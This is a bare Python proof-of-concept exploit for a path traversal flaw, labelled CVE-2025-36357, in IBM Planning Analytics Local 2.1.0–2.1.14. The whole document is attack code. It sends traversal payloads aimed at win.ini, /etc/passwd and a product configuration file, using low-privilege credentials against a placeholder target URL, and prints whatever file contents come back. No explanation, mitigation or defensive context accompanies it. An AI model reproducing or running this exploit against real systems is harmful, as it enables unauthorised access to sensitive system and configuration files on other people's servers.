CVE-2025-36357

# CVE-2025-36357 Path Traversal PoC # Target: IBM Planning Analytics Local 2.1.0 - 2.1.14 import requests target_url = "http://target.com/tm1web/" # Path traversal payloads to read sensitive files payloads = [ "/../../../../../../../../windows/win.ini", "/../../../../../../../../etc/passwd", "/../../../../../../../../ibm/PlanningAnalyticsLocal/conf/tm1s_config.toml" ] # Authentication (low privilege user) auth = ('lowpriv_user', 'password') for payload in payloads: try: url = target_url + "api/v1/" + payload response = requests.get(url, auth=auth, timeout=10) if response.status_code == 200: print(f"[+] Success: {payload}") print(response.text[:500]) else: print(f"[-] Failed: {payload} - Status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

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